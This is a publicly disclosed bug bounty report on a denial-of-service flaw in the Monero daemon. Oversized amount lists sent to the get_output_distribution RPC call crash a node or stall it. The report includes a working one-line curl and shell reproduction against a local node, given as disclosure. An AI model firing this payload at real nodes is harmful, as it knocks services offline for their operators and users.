HexBrain

Monero · Report #1379707

RPC call crashes node

Validstatus
highseverity
28upvotes
20 Aug 2022disclosed

How it was found

Summary:

Passing a large list of amounts to the get_output_distribution call crashes a remote node, after maybe 90 seconds of keeping it busy.

Releases Affected:

  • Probably all

Steps To Reproduce:

values=`echo $(seq 0 500 900000)|sed -e 's/ /,/g'` ; curl http://127.0.0.1:38081/json_rpc -d '{"jsonrpc":"2.0","id":"0","method":"get_output_distribution","params":{"amounts": ['$values'], "from_height": 100, "cumulative": false}' -H 'Content-Type: application/json'

Reduce the 900000 number a bit and instead of crashing the daemon, it'll do a denial of service, like 90 seconds per call, making it hard for anyone else to use that call.

Supporting Material/References:

  • Unnecessary. The attack is straightforward and compelling.

Housekeeping

Payment address: ████

Impact

An attacker can crash any remote node that exposes get_output_distribution or tie up availability of that function call. I think that's serious.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original